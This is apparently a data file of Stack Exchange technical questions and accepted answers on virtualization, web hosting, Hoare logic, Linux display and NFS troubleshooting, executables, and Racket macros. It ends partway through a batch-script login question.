{  "id": "_unix.215500"  , "question": "I created a Virtual Machine with Virtualbox - the host system is Linux Mint Cinnamon 17.2, the guest - Windows 8.1 Pro. I enabled all acceleration features in the VM settings.To run the WP8 emulator one needs Hyper-V. But, to my surprise, the Windows guest claims that Hyper-V is not supported.Is it possible to use Hyper-V on a Windows guest?"  , "title": "VirtualBox, Hyper-V and a Linux host"  , "tags": "virtualbox;hyper v"  , "accepted_answer": "Yes, it is now possible to use Hyper-V on a Windows guest OS, but not with VirtualBox. This technology is referred to as nested virtualization.You can vote up the feature request for VirtualBox here. Unfortunately, that request has been around for 6 years now, and the devs initially indicated that it would only be of limited usefulness. With more and more SW relying on virtualization (Windows Mobile Emulation, Android Emulation, Vagrant, etc.), I would hope that it becomes a higher priority. It's still being actively commented on and requested as recently as 11/16/2015, but as of May 2015 the developers still have different priorities.As of the Windows 10 Fall Update (and the Windows Server 2016 previews), Hyper-V is now capable of nesting a Hyper-V hypervisor:Nested virtualization is running virtualization inside a virtualized  environment. In other words, nesting allows you to run the Hyper-V  server role inside a virtual machine.source. The technology is still very new and appears to still be in preview.The open source Xen hypervisor also claims support for nested virtualization:Nested virtualization is the ability to run a hypervisor inside of a  virtual machine. The hypervisor that runs on the real hardware is  called a level 0 or L0; the hypervisor that runs as a guest on L0 is  called level 1 or L1; a guest that runs on the L1 hypervisor is called  a level 2 or L2.source: http://wiki.xenproject.org/wiki/Nested_Virtualization_in_XenVMWare also has extensive support for multiple nesting scenarios in its commercial products:Hyper-V requires hardware-assisted virtualization, so it can only be  run under ESXi 5.0, Workstation 8, Player 4 or Fusion 4 (or later).  Hyper-V performs relatively poorly as a guest hypervisor under ESXi  5.0, but it performs reasonably well under Workstation 8, Player 4 or Fusion 4 (or later).   Under Workstation 9, Player 5 or Fusion 5, you  should set the guest OS type to Hyper-V.source: http://communities.vmware.com/docs/DOC-8970"  } 
{  "id": "_webmaster.68960"  , "question": "I have been looking at a number of shared hosting providers, and I used domaintools.com services to see how many other domains are hosted at a single IP address. I think Hostgator had a high number of domains on one IP address (around 1,300) and DreamHost had a much smaller number - around 40 domains.Should I worry about a high number versus a low number, or is this inconsequential to the performance of the domain, all other things being equal?"  , "title": "The number of sites on a shared host"  , "tags": "web hosting;ip address"  , "accepted_answer": "Both answers are right to a point. I used to be a web host and a registered ISP. I was a presenter at the first ISPCon known as ISPOne for USRobotics and represented well over 1 billion dollars in sales in just the first quarter. I have been out of the industry for quite a while, but not too much has changed except for some of the offerings and some of the technology. The newer technologies, however, are based upon older technologies that have been around for 30 years. I will limit my answer to shared hosting only. Here is what you need to know.Shared Hosting:Generally speaking, there are as many sites per computer as possible. I know that is a Duh! statement, however, not all hosts do this. Quality hosts gauge performance of their servers and move sites around as needed while others do not care one whit. The common trick in the industry is to put as many sites on a computer and promise more disk space than they actually have. This is because it is rare that anyone uses the all of disk space (as well as CPU and memory) made available to them. Quality hosts will at least monitor performance and allocations and make changes dynamically.As far as the computers, they are often the cheapest generic clone computers that they can get away with. Quality hosts will use a name brand of course, but use a cheaper model such as Dell over HP. Higher quality hosts will use clusters of computers and SAN technology to allocate resources. There are different cluster based technologies and SAN technology that allow a high number of computers and hard drives to be allocated within a dynamic space and appear as a single entity.There are usually huge banks of computers so it is not practical that all of them have a public IP address. IP addresses within the hosts LAN is always private IP addresses. The public facing IP addresses are on routers or specialized computers/harware that manage traffic and bandwidth. The public facing hardware will use NAT and/or proxy to direct the traffic to the right computer. It is not uncommon for many thousands of standalone computers to be managed by software and sites moved around from computer to computer seamlessly. As well, it is not uncommon that a cluster based technology and SAN technology is used to host a huge number of sites.Because of this, there is no correlation between number of domains assigned to an IP address and performance.Here is what is important:The hosts reputation. Period.It does not matter if a bank of standalone computers are used or large-scale clusters with SAN. Obviously the latter is preferred within telecom production environments, however, the difference between the two are really minimal for hosting these days due to options available. For the customer, there should be no difference. What is important is that the host cares about the customer and responds to issues prior to the customer calling. A heads-up monitor, external monitor, internal monitor (per machine), a network monitor should be able to alarm the host immediately when things go wrong or performance is suffering. It should be standard practice if the problem is solved seamlessly immediately before the customer even notices. Fail-over of all stripes, hot spares, OTS (on the shelf) pre-configured hardware spares, spare in the air hardware, snap-shots and images, dynamic host allocation, and fast networks should make moving and recovery very easy and fast. If standard practices are observed, the customer should never have a problem that they did not create and fixing it should be a snap.On a side note, the claim of 99.999% up-time is a statistical impossibility. It is BS plain and simple. I worked as a consultant where %100 up-time was required with an SLA (service level agreement) and fees paid to the customer for anything including a 1 second outage. These fees started at $10,000. In all the years, a fee has never had to be paid. This is possible with hosting but rarely done except at tier level 1 providers. Otherwise, expect something within the 97%-98% (point something) as being standard."  } 
{  "id": "_cs.75927"  , "question": "Consider a while loop of the form : $\\texttt{while (C) {S}}$with $\\texttt{C}$ the condition and $\\texttt{S}$ the body of the loop.Let $\\texttt{I}$ and $\\texttt{V}$ respectively be an invariant and a variant of this loop. The rule for total correctness of while loops is given in my textbook by: If $\\texttt{I} \\Rightarrow \\texttt{V} \\geq 0$ And $[\\texttt{I} \\land \\texttt{C} \\land \\texttt{V} = v_0] \\,\\texttt{S} \\, [\\texttt{I} \\land \\texttt{V} < v_0]$Then $[\\texttt{I}] \\, \\texttt{while (C) {S}} \\, [\\texttt{I} \\land \\neg\\texttt{C}]$From what I think I understand, in order for the loop to terminate, the variant $\\texttt{V}$ must stricly decrease and that it must also be bounded by zero. However, when I translate that mathematically, I obtain a different proposition from that of my textbook :  $$[\\texttt{V} \\geq 0 \\land \\texttt{V} = v_0] \\, \\texttt{S} \\, [\\texttt{V} \\geq 0 \\land \\texttt{V} < v_0]$$My question : Are this last proposition and my textbook's rule saying the same thing about what needs to be proven in order for the loop to terminate? In other words : is $[\\texttt{I} \\land \\texttt{C} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} = v_0] \\, \\texttt{S} \\, [\\texttt{I} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} < v_0]$the same as$\\texttt{I} \\Rightarrow \\texttt{V} \\geq 0$ together with $[\\texttt{I} \\land \\texttt{C} \\land \\texttt{V} = v_0] \\,\\texttt{S} \\, [\\texttt{I} \\land \\texttt{V} < v_0]$Why or why not?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "  , "title": "Hoare logic - total correctness of loops"  , "tags": "hoare logic"  , "accepted_answer": "They are equivalent, in the sense that every time you can apply the textbook rule you can also apply your own rule, and vice versa. The invariant for the two rules is similar, but not the same.Converting a textbook rule instance into an instance of your ruleSuppose we have an application or your textbook rule. I.e., we have found some $\\texttt{I}$ for which:$\\texttt{I} \\Rightarrow \\texttt{V} \\geq 0$ together with $[\\texttt{I} \\land \\texttt{C} \\land \\texttt{V} = v_0] \\,\\texttt{S} \\, [\\texttt{I} \\land \\texttt{V} < v_0]$Then, thanks to the implication above, we also have $\\texttt{I} \\iff  \\texttt{I} \\land \\texttt{V} \\geq 0$. Using rule PrePost, we can rewrite the invariant into its equivalent, and we get an application of your rule:$[\\texttt{I} \\land \\texttt{C} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} = v_0] \\, \\texttt{S} \\, [\\texttt{I} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} < v_0]$Here, we use the same invariant as in the textbook rule.Converting an instance of your rule into a textbook rule instanceNow, for the converse direction. Suppose we have found $\\texttt{I}$ for your rule:$[\\texttt{I} \\land \\texttt{C} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} = v_0] \\, \\texttt{S} \\, [\\texttt{I} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} < v_0]$Now, we can't assume $\\texttt{I} \\Rightarrow \\texttt{V} \\geq 0$, so we can't use $\\texttt{I}$ for the textbook rule. However, we can use as a new invariant $\\texttt{I}' := \\texttt{I} \\land \\texttt{V} \\geq 0$. We trivially have $\\texttt{I}' \\Rightarrow \\texttt{V} \\geq 0$ by construction (*). Further, from the hypothesis$[\\texttt{I} \\land \\texttt{C} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} = v_0] \\, \\texttt{S} \\, [\\texttt{I} \\land \\texttt{V} \\geq 0 \\land \\texttt{V} < v_0]$we can obtain (by PrePost) $[\\texttt{I}' \\land \\texttt{C} \\land \\texttt{V} = v_0] \\, \\texttt{S} \\, [\\texttt{I}' \\land \\texttt{V} < v_0]$ (**)Properties (*) and (**) are exactly what we need to apply the textbook rule."  } 
{  "id": "_softwareengineering.93594"  , "question": "I am working on Asp.net webform and it already provides me ready to user Ajax solution by using an update panel, so should I invest my time learning how Ajax really work ?"  , "title": "Do i need to know how Ajax works since Asp.net provides me UpdatePanel"  , "tags": "asp.net;ajax"  , "accepted_answer": "Yes, because:Update panel runs the entire Page Lifecycle at server, while Page Methods or Web Services (AJAX calls) don't.Update panel sends back the entire ViewState to the server even for small communications like getting the current server date value, while Manual AJAX is in your control and you can send (transfer) less data.Update panel causes the entire page at server to be rendered, but only returns the required section, while in AJAX you don't do such stupid actions.Update panels get messy when they want to be coordinated with each other. In other words, there are many times that you need to make an AJAX call, but then on successful response, you don't want to change the DOM of that zone. Rather you want to manipulate somewhere else. For example, in an Email client software, when someone clicks on an unread email item, you send an AJAX request to the server to get the email body, but then on success callback, you should also update the part of your screen where you announce the number of unread emails, and you should subtract one from that number. These coordinations really become tricky at server side.Microsoft's AJAX solutions (not Ajax Control Toolkit, but the Update Panel, Update Progress, and Timer) was so unintuitive to the web world, that it introduced MVC to keep its place in market. With Microsoft Ajax, the second call stops the first unfinished call. Many times you really need concurrent ajax calls to the server.Stop using Update Panel. You will use AJAX someday, whenever you want to work professionaly. Thus, use it today."  } 
{  "id": "_softwareengineering.199834"  , "question": "I want to understand the architecture of web apps that use subdomains. I don't think that I'm phrasing this well, so let me explain.Many web apps, like tumblr or shopify create a user's site on a subdomain. Say for example my tumblr account was johndoe then you could find my tumblr blog at johndoe.tumblr.com. Can someone explain how this is implemented?"  , "title": "How do web apps create subdomains?"  , "tags": "web development;web applications"  , "accepted_answer": "Basically you could either set new CNAME record to your DNS server for each user (if you have such ability by your Hosting/DNS server provider) or use the Wildcard DNS record method and then use some rewrite rules to process the requests.You can read more about it on this older post in stackoverflow."  } 
{  "id": "_unix.57652"  , "question": "I am running Linux Mint 13. The problem is that whenever I connect/disconnect an external monitor to my laptop it freezes. If the monitor is connected on boot it works fine. Any ideas ? Output from inxi -SGxc 0System:    Host: ****-VGN-NS140E Kernel: 3.2.0-23-generic x86_64 (64 bit, gcc: 4.6.3)            Desktop: Xfce 4.10.0 (Gtk 2.24.10) Distro: Linux Mint 13 MayaGraphics:  Card: Intel Mobile 4 Series Chipset Integrated Graphics Controller bus-ID: 00:02.0            X.Org: 1.11.3 drivers: intel (unloaded: vesa,fbdev) Resolution: 1280x800@59.9hz            GLX Renderer: Mesa DRI Mobile Intel GM45 Express Chipset GLX Version: 2.1 Mesa 8.0.4 Direct Rendering: Yes"  , "title": "Linux Mint 13 XFCE freezes when external monitor connected"  , "tags": "linux;linux mint;dual monitor"  , "accepted_answer": "A script as mentioned in comment to the question:#!/bin/bashxrandr \\    --output LVDS-1 \\    --auto \\    --dpi 145 \\    --left-of DVI-D-1 \\    --output DVI-D-1 \\    --primary \\    --auto \\    --dpi 96sleep 1killall -USR1 xfce4-panelThis makes the DVI-connected device the main display device and positions the laptop screen (LVDS) to the left of DVI. Names of the devices vary - check output of xrandr -q for names on your system. After the configuration settles down, xfce4-panel is signalled to reload itself - this is mostly to ensure, that the workspace switcher updates its cached desktop sizes (without this it would only display a single screen miniatures).To disable the monitor you need something like:#!/bin/bashxrandr --output DVI-D-1 --offsleep 1killall -USR1 xfce4-panelYou might also want to check Session and Startup entry in the XCE Settings manager fo anything that would resemble an application that would try to do this automagically and possibly remove it (I can't remember whether this was a standalone service or whether it was part of the widow manager)."  } 
{  "id": "_webmaster.99474"  , "question": "My website releated to entertainment and movies trailer and review based site, my site viewers list actually very low, I have set keywords which is found from google keywords planner. And created sitemap. Right after my site improvements not good, may I need any changes according to my site traffic and viewers increments. "  , "title": "How can I increased my site traffic"  , "tags": "web crawlers;sitemap;traffic;web traffic"  } 
{  "id": "_datascience.6200"  , "question": "Some times we come across datasets in which classes are imbalanced. For eg. class A may have 2000 instances but class B has only 200. How can we train a classifier for such datasets?"  , "title": "What are the basic approaches for balancing a dataset for machine learning?"  , "tags": "machine learning;dataset"  } 
{  "id": "_softwareengineering.251250"  , "question": "If I write a C program and compile it to an .exe file, the .exe file contains raw machine instructions to the CPU. (I think).If so, how is it possible for me to run the compiled file on any computer that runs a modern version of Windows? Each family of CPUs has a different instruction set. So how come any computer that runs the appropriate OS can understand the instructions in my .exe file, regardless of it's physical CPU?Also, often in websites in the download page of some application, you have a download for Windows, for Linux, and for Mac (often two downloads for each OS, for 86 and 64 bit computers). Why aren't there many more downloads, for each family of CPUs?"  , "title": "Why do executables depend on the OS but not on the CPU?"  , "tags": "low level;cpu;machine code"  , "accepted_answer": "Executables do depend on both the OS and the CPU:Instruction Set: The binary instructions in the executable are decoded by the CPU according to some instruction set. Most consumer CPUs support the x86 (32bit) and/or AMD64 (64bit) instruction sets. A program can be compiled for either of these instruction sets, but not both. There are extensions to these instruction sets; support for these can be queried at runtime. Such extensions offer SIMD support, for example. Optimizing compilers might try to take advantage of these extensions if they are present, but usually also offer a code path that works without any extensions.Binary Format: The executable has to conform to a certain binary format, which allows the operating system to correctly load, initialize, and start the program. Windows mainly uses the Portable Executable format, while Linux uses ELF.System APIs: The program may be using libraries, which have to be present on the executing system. If a program uses functions from Windows APIs, it can't be run on Linux. In the Unix world, the central operating system APIs have been standardized to POSIX: a program using only the POSIX functions will be able to run on any conformant Unix system, such as Mac OS X and Solaris.So if two systems offers the same system APIs and libraries, run on the same instruction set, and use the same binary format, then a program compiled for one system will also run on the other.However, there are ways to achieve more compatibility:Systems running on the AMD64 instruction set will commonly also run x86 executables. The binary format indicates which mode to run. Handling both 32bit and 64bit programs requires additional effort by the operating system.Some binary formats allow a file to contain multiple versions of a program, compiled for different instruction sets. Such fat binaries were encouraged by Apple while they transitioning from the PowerPC architecture to x86.Some programs are not compiled to machine code, but to some intermediate representation. This is then translated on-the-fly to actual instructions, or might be interpreted. This makes a program independent from the specific architecture. Such a strategy was used on the UCSD p-System.One operating system can support multiple binary formats. Windows is quite backwards compatible and still supports formats from the DOS era. On Linux, Wine allows the Windows formats to be loaded.The APIs of one operating system can be reimplemented for another host OS. On Windows, Cygwin and the POSIX subsystem can be used to get a (mostly) POSIX-compliant environment. On Linux, Wine reimplements many of the Windows APIs.Cross-platform libraries allow a program to be independent of the OS APIs. Many programming languages have standard libraries that try to achieve this, e.g. Java and C.An emulator simulates a different system by parsing the foreign binary format, interpreting the instructions, and offering a reimplementation of all required APIs. Emulators are commonly used to run old Nitendo games on a modern PC."  } 
{  "id": "_webmaster.2632"  , "question": "With all the Open Source fonts I have available, and I can download them via the CSS font directive, what's the benefit of the TypeKit API?Are there drawbacks of this?  How does it work technically?  Are there certain ways of constructing my website I should avoid?"  , "title": "What's the pro/cons of Adobe TypeKit API? Any best practices?"  , "tags": "css;website design;cdn;typography;fonts"  , "accepted_answer": "Annoyingly on-line fonts are not supported by all browsers (Opera on the iPhone being a pet peeve).Google Fonts pure CSS system seems to work better than the alternatives, but you can end up with a FoUC on many browsers.Google Font API ...was co-developed by Google and TypeKit so I hope the following experience is similar enough:the JavaScript library is quite light, but watch out for any serious increase in latency from the extra DNS lookups and HTTP connections that may be caused by cross-domain resourcesusing the JSAPI version is quite slow on an empty cache (as a side note you also can't combine JS requests into one big file)being able to declare the fonts needed separately from the JavaScript include allows for post-loading the library and really helps with (X)HTML template flexibilitythe extra paint events triggered when the JavaScript library re-paints the entire screen by changing page-wide classes will mean your CSS has to be efficient (Google offer a guide on this)whilst having to declare italics and different weights with some fonts decreases the download size, it adds an extra burden to either the designer or the programmercustom fonts, used tastefully, look beautiful"  } 
{  "id": "_webmaster.11195"  , "question": "They are a lot of tools, that can automatically submit my website to thousands of web-catalogs.Is it a good practice to increate rankings ?What are pros and cons against it ?"  , "title": "Automatic registration in web-catalogs and SEO"  , "tags": "seo;tools"  , "accepted_answer": "Pros:Cons: These links are worthless as they are almost certainly considered link farms (and if you ever link back to one of them you risk being considered part of it and getting penalized or banned yourself). And even if they aren't, there are so many links on those pages that what little value there is available is diluted the point where there is no more value. And that's assuming they have any value at all and the odds are they don't since they will have little no links pointing to them and they're almost certainly off topic. A lot of the sites they claim to submit to also no longer exist so you're getting less linking opportunities then you think.In short, this is a waste of time"  } 
{  "id": "_softwareengineering.338381"  , "question": "I'm working on removing left recursion from a grammar, and of course started with the algorithm described on Wikipedia.  As advertised, it unfortunately exploded into a much larger grammar that was harder to understand than the original.  However, I casually noticed that I can avoid a lot of the explosion if I just replace rules like this:A -> B | A c BWith this:A -> B | B c AIn my particular grammar, c is very often some delimiter (e.g., ,) used to describe a non-empty delimited list.  Is there a more general algorithm here that I can apply?  That is, one that performs transforms like this without introducing new rules to the grammar?"  , "title": "Is there a name for this grammar transform (or a more general form of it)?"  , "tags": "parsing;grammar"  } 
{  "id": "_unix.40909"  , "question": "I installed the package nfs-utils and tried it via:# mount -t nfs server:/mnt /mntmount.nfs: rpc.statd is not running but is required for remote locking.mount.nfs: Either use '-o nolock' to keep locks local, or start statd.mount.nfs: an incorrect mount option was specifiedOk, probably need to start that - via systemd - right?# systemctl start nfs-lock.service Job failed. See system journal and 'systemctl status' for details.# journalctlJun 15 23:22:18 host rpc.statd[24339]: Version 1.2.6 startingJun 15 23:22:18 host rpc.statd[24339]: Opening /var/run/rpc.statd.pid failed:                                         Permission denied[..]Jun 15 23:22:18 host systemd[1]: nfs-lock.service: control process exited,                                          code=exited status=1Jun 15 23:22:18 host systemd[1]: Unit nfs-lock.service entered failed state.Looks like a SELinux related problem?Jun 15 23:22:18 host setroubleshoot[3211]: analyze_avc()   avc=scontext=system_u:system_r:rpcd_t:s0   tcontext=unconfined_u:object_r:var_run_t:s0   access=['unlink'] tclass=file tpath=rpc.statd.pidJun 15 23:22:18 host setroubleshoot[3211]: SELinux is preventing   /usr/sbin/rpc.statd from unlink access on the file rpc.statd.pid.Jun 15 23:22:18 host setroubleshoot[3211]: analyze_avc()   avc=scontext=system_u:system_r:rpcd_t:s0   tcontext=unconfined_u:object_r:var_run_t:s0   access=['write'] tclass=file tpath=rpc.statd.pidJun 15 23:22:18 host setroubleshoot[3211]: SELinux is preventing   /usr/sbin/rpc.statd from write access on the file rpc.statd.pid.Ok - now the question is: what SELinux configuration or what file label do I have to change?# systemctl status nfs-lock.servicenfs-lock.service - NFS file locking service.      Loaded: loaded (/usr/lib/systemd/system/nfs-lock.service; enabled)      Active: failed (Result: exit-code) since Fri, 15 Jun 2012 23:22:18 +0200;              13min ago     Process: 24338 ExecStart=/sbin/rpc.statd $STATDARG              (code=exited, status=1/FAILURE)     Process: 24334 ExecStartPre=/usr/lib/nfs-utils/scripts/nfs-lock.preconfig              (code=exited, status=0/SUCCESS)      CGroup: name=systemd:/system/nfs-lock.serviceIs a package missing - or am I using the wrong service?"  , "title": "How to mount NFS 3 volumes on Fedora 17?"  , "tags": "fedora;nfs;selinux;systemd"  , "accepted_answer": "Not sure if this will help because I did not see any SElinux errors.But I'm posting what worked for me and the problems I encountered in the hope it helps.After installing Fedora 17 I upgrade to the latest release but did not reboot.  I did log out and back in because of the updates to several gnome packages.  (I did not notice that the update included an update of systemd as well.)To mount my NFS shares I installed nfs-utils and tried to start the rpcbind service:sudo systemctl start rpcbind.serviceI received the following error:Failed to issue method call: Unit var-run.mount failed to load: No such file or directory. See system logs and 'systemctl status var-run.mount' for details.var-run.mount appears to have been removed recently yum whatprovides shows that systemd-44-8.fc17 still had it.Several other NFS services threw the same error.In my case simply rebooting helped.  So you might want to update to the latest packages and reboot.  (If someone knows a way to make systemd reread it config without rebooting please let me know.)"  } 
{  "id": "_codereview.147067"  , "question": "I'm trying to write a small macro library in Racket that extends a few of the racket/match functions I use, by printing which clause was expanded.While this seems to be decent practice for learning macros in Racket, I still find them incredibly daunting.  At some point, I wind up just trying everything with no real sense of direction until it works how I want, and that's partially how I built my macros up to their current state, as seen here:#lang racket(require  (for-syntax   racket/string   racket/list   racket/syntax   syntax/parse   syntax/parse/experimental/template   syntax/parse/lib/function-header));; From answer to my question here:;; http://stackoverflow.com/a/38577121/1017523(begin-for-syntax  (define (clauses->numbers stx)    (range (length (syntax->list stx)))))(define-syntax (generate-debug-version stx)  (syntax-case stx ()    [(_ function-name)     (with-syntax ([new-name (format-id stx ~a/debug #'function-name)])       #'(define-syntax (new-name stx)           (...            (syntax-parse stx              [(_ id [pattern value] ...)               (with-syntax ([(n ... )                              (clauses->numbers #'([pattern value] ... ))])                 (syntax/loc stx                   (function-name                    id                    [pattern                     (begin                       (displayln (format Matched case ~a (add1 n)))                       value)]                    ...)))]))))]))(generate-debug-version match)(generate-debug-version match*)The small first macro, clauses->numbers, determines which clause is expanded in racket/match functionsThe main macro, generate-debug-version, is what I'm trying to simplify.This macro currently takes one function name (for example, match or match*), and generates a macro that defines a new function with a /debug suffix that prints the expanded clause number.Before asking this question, I was trying to add the ability to supply multiple function names to this macro using ellipses (making the last two lines (generate-debug-versions match match*)), but I can't figure out how in my macro's current state.Can someone give me advice on how to simplify/clarify my generate-debug-version macro, so I can ultimately rewrite it to accept multiple arguments?I'm aware of the simpler define-syntax-rule macro tool, but it didn't work in the circumstances I attempted."  , "title": "Simplifying Macro-Generating Racket Macro"  , "tags": "scheme;macros;racket"  , "accepted_answer": "Starting at the top, you have a lot of unused imports. Fortunately, DrRacket can tell you which imports are unused, since it will highlight them in red when you hover your mouse over them. Additionally, if you click the Check Syntax button, it will color all the unused imports red. Using that, we can trim the import list down to the following set:(require (for-syntax racket/list                     racket/syntax                     syntax/parse))Next, lets take a look at the bulk of your code, generate-debug-version. First of all, its a bit odd that youre using syntax-case for the outer macro, but syntax-parse for the inner one. Just use syntax-parse everywhere; theres really no reason to ever use syntax-case in Racket.Furthermore, the syntax/parse/define module provides a nice define-syntax-parser abbreviated form, which helps to simplify things slightly and remove some redundancy:(require (for-syntax racket/list                     racket/syntax)         syntax/parse/define)(define-syntax-parser generate-debug-version  [(_ function-name)   (with-syntax ([new-name (format-id this-syntax ~a/debug #'function-name)])     #'(define-syntax-parser new-name         (...          [(_ id [pattern value] ...)           (with-syntax ([(n ... )                          (clauses->numbers #'([pattern value] ... ))])             (syntax/loc this-syntax               (function-name                id                [pattern                 (begin                   (displayln (format Matched case ~a (add1 n)))                   value)]                ...)))])))])Note the replacement of explicit uses of stx with uses of this-syntax, which always refers to the current piece of syntax being matched within a syntax-parse form.Now with this in mind, we can start to refactor the bulk of the macro itself. There are a few things that could be improved, staring with the uses of with-syntax. Conveniently, syntax/parse permits #:with clauses after patterns themselves, which act sort of like wrapping the body with with-syntax, but they can use syntax-parse patterns, and the parser will backtrack if they fail. This lets us simplify the code even further:(define-syntax-parser generate-debug-version  [(_ function-name)   #:with new-name (format-id this-syntax ~a/debug #'function-name)   #'(define-syntax-parser new-name       (...        [(_ id [pattern value] ...)         #:with (n ...) (clauses->numbers #'([pattern value] ...))         (syntax/loc this-syntax           (function-name            id            [pattern             (begin               (displayln (format Matched case ~a (add1 'n)))               value)]            ...))]))])However, theres actually an issue here, which is that the use of format-id really shouldnt use this-syntax at all. Instead, it should pull lexical context from #'function-name itself, since the provided identifier should control where the generated identifiers lexical context comes from. (For an example of where this can be important, try using the define-tracing-match* form from the end of this answer without this change, and youll see what the issue is.)(define-syntax-parser generate-debug-version  [(_ function-name)   #:with new-name (format-id #'function-name ~a/debug #'function-name)   ; ...   ])Another thing we can improve is that we can use the id syntax class for the function-name pattern, which will ensure that the generate-debug-version macro is actually provided an identifier, and will raise a syntax error if it isnt. Additionally, function-name really isnt a great name for that pattern, since match is not a function, it is a form. Lets fix that:(define-syntax-parser generate-debug-version  [(_ form-id:id)   #:with debug-id (format-id #'form-id ~a/debug #'form-id)   #'(define-syntax-parser debug-id       ; ...       )])While were discussing names, generate-debug-version isnt a very good one. For one thing, it doesnt just generate a debug form, it defines one. For another, it specifically generates debug versions of match-like forms, nothing else, so that should probably be included in the name, too. I picked the name define-tracing-match, but you could pick a similar name if you wished.Okay, what now? Well, while clauses->numbers works, it could honestly be better. Its really nice that we can use syntax patterns to write such a declarative style of macro, but clauses->numbers isnt declarative at all, its completely procedural. To help fix that, we can write a splicing syntax class which will number the clauses for us, lifting out the procedural component into a separate piece. That looks like this:(begin-for-syntax  (define-splicing-syntax-class numbered-clauses    #:attributes [[pattern 1] [value 1] [n 1]]    #:description #f    [pattern {~seq [pattern value] ...}             #:with [n ...] (range (length (attribute pattern)))]))You can read more about what syntax classes do and how they work in the extensive documentation, but the basic idea here is to extract out some procedural logic into a reusable pattern than syntax-parse can understand. The #:attributes and #:description options are optional here, but the former helps readability, and the latter helps with error messages.With that syntax class in place, we can further simplify the main macro by using it:(define-syntax-parser define-tracing-match  [(_ form-id:id)   #:with debug-id (format-id #'form-id ~a/debug #'form-id)   #'(define-syntax-parser debug-id       (...        [(_ id clause:numbered-clauses)         (syntax/loc this-syntax           (form-id id             [clause.pattern              (begin                (displayln (format Matched case ~a (add1 'clause.n)))                clause.value)]            ...))]))])This makes our main macro completely declarative (save for the small use of format-id, which is pretty harmless), and its pretty much entirely built out of patterns and templates. This is what the Racket macro system is so good at: it lets you pretty much just write what you mean, and you still get great error reporting for when things go wrong.With all these changes in place, heres what the final code looks like:#lang racket(require (for-syntax racket/list                     racket/syntax)         syntax/parse/define)(begin-for-syntax  (define-splicing-syntax-class numbered-clauses    #:attributes [[pattern 1] [value 1] [n 1]]    #:description #f    [pattern {~seq [pattern value] ...}             #:with [n ...] (range (length (attribute pattern)))]))(define-syntax-parser define-tracing-match  [(_ form-id:id)   #:with debug-id (format-id #'form-id ~a/debug #'form-id)   #'(define-syntax-parser debug-id       (...        [(_ id clause:numbered-clauses)         (syntax/loc this-syntax           (form-id id             [clause.pattern              (begin                (displayln (format Matched case ~a (add1 'clause.n)))                clause.value)]            ...))]))])A bit more concise, and hopefully a bit clearer, too.Now for a couple of extras. You mentioned that you wanted to write a generate-debug-versions macro. This wouldnt be too hard to do with the new version of generate-debug-version by using some well-placed ellipses, actually, but it would probably be even easier to just define a new generate-debug-versions macro (or, since we changed the name, a define-tracing-match* macro) that defers to the existing one.The easiest way to do this is probably to use the define-simple-macro form, also from syntax/parse/define, which is basically syntax-rules mixed with all the syntax-parse enhancements. The macro itself is trivial:(define-simple-macro (define-tracing-match* form-id:id ...)  (begin (define-tracing-match form-id) ...))Now, its extremely easy to define both match/debug and match*/debug at the same time:(define-tracing-match* match match*)One final additional thing you can do is adjust the format-id call to copy source location information and syntax properties from the provided form-id, like this:#:with debug-id (format-id #'form-id ~a/debug #'form-id                           #:source #'form-id #:props #'form-id)By doing this, when you hover your cursor over a use of match/debug in DrRacket, it will draw an arrow to the identifier used with define-tracing-match to generate the debug version in the first place, which is useful.However, if you wanted to get even fancier, you could skip that step and use the 'sub-range-binders syntax property to convey even more fine-grained information to DrRacket. Specifically, you can adjust the outer macro for define-tracing-match to attach the property as follows:(define-syntax-parser define-tracing-match  [(_ form-id:id)   #:with debug-id (format-id #'form-id ~a/debug #'form-id)   (syntax-property    #'(define-syntax-parser debug-id        (...         [(use-id id clause:numbered-clauses)          (syntax/loc this-syntax            (form-id id                     [clause.pattern                      (begin                        (displayln (format Matched case ~a (add1 'clause.n)))                        clause.value)]                     ...))]))    'sub-range-binders    (let ([id-len (string-length (symbol->string (syntax-e #'form-id)))])      (vector (syntax-local-introduce #'debug-id) 0 id-len 0.5 0.5              (syntax-local-introduce #'form-id) 0 id-len 0.5 0.5)))])This will make DrRacket draw an arrow for part of the match/debug identifier, the part that shares the same name as the provided one. The best way to illustrate what this does is with a screenshot:(This is the technique the built-in struct macro uses to get the special binding arrows for its field accessors.)Admittedly, however, this is pretty advanced macrology, and I probably wouldnt do something this fancy unless I was distributing it as part of a library, so no worries if you leave that part out."  } 
{  "id": "_codereview.147950"  , "question": "Here I made a program in batch that detects all files with the .user extension. Then it allows the user to pick a username by entering the number associated with that username. The code is messy, so I will explain.@echo offsetlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION:login_menuclsset x=1set users=cd usersfor %%A in (*.user) do (echo !x!. %%~nAset users=%%~nA:!x!,!users!set /a x=!x!+1)echo.set /p ch=Select User: if %ch% ==  (goto login_menu)for %%B in (%users%) do (    for /f tokens=1,2 delims=: %%C in (%%B) do (    set userNumber=%%D     set userN=%%C    if !ch! == %%D goto password    echo BDEV: %%B    pause))echo.echo That user doesn't exist!pausegoto login_menu:passwordclscd usersfor /f tokens=1,2 delims=: %%E in (!userN!.user) do (set password=%%F)echo Enter your password, !userN!echo.set /p password1=Password: if %password1% == %password% goto menuecho.echo That password is invalid!pausegoto password:menuecho Hey! You're logged in as !userN!pauseThe variable x is going to be the number which the username will be associated with. The variable users Makes sort of a 'map' to usernames to the number associated with that usernameIn the first for loop, it gets all the files in the folder users. It echo's out all the usernames that the user can pick.The second for loop goes into the variable users and separates the usernames with their respective numbers. For example: if I have the usernames admin:4,steve:3,john:2,jane:1 it will separate them into admin:4 and steve:3 and john:2 and jane:1.The third for loop (which is in the second for loop) separates each username to number into separate variables. For example, if we have the username Collins with the number 3, it will put the username Collins in the userN variable and the number 3 into the variable userNumber.It then checks what number the user selected.The final for loop goes into the user file that the user has selected. So if the user selected admin it will go to the user file admin.user and find the password.If the password is invalid, it rejects access. If it correct it allows access.Is there any way to make it less like spaghetti code?If you need more explanation, I will be happy to provide more 